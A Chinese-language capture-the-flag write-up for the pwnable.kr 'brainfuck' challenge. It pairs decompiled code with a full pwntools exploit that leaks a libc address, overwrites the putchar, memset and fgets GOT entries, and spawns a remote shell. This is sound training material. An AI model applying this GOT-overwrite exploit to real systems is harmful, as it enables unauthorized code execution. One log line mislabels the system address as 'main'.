pwnable.kr brainfuck writeup

ida分析文件,发现关键的函数是do_brainfuck

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  _BYTE *v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 62:                                    // '>'
      result = p++ + 1;
      break;
    case 60:                                    // '<'
      result = p-- - 1;
      break;
    case 43:                                    // '+'
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:                                    // '-'
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:                                    // '.'
      result = putchar(*(_BYTE *)p);
      break;
    case 44:                                    // ','
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

在该函数中,可以对指针p进行加减等操作,以及对指针p指向的位置进行读写操作。
那么这样思路就清晰了,我们可以通过p的位置计算出got表中putchar/memset等函数的位置,然后覆盖掉

那么接下来就可以写payload了

from pwn import *

libc = ELF('bf_libc.so')
p = remote('pwnable.kr', 9001)

#  下面的代码定义了函数部分,这里利用do_brainfuck完成了指针移位、读写的操作。

def back(n):
    return '<'*n


def read(n):
    return '.>'*n


def write(n):
    return ',>'*n

# 这里从elf中获取got表的地址

putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0

# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main
payload += '.'

p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1)  # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = " + hex(putchar))

gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))

system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main = 0x08048671
log.success("main = " + hex(system))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

你可能感兴趣的:(pwnable.kr brainfuck writeup)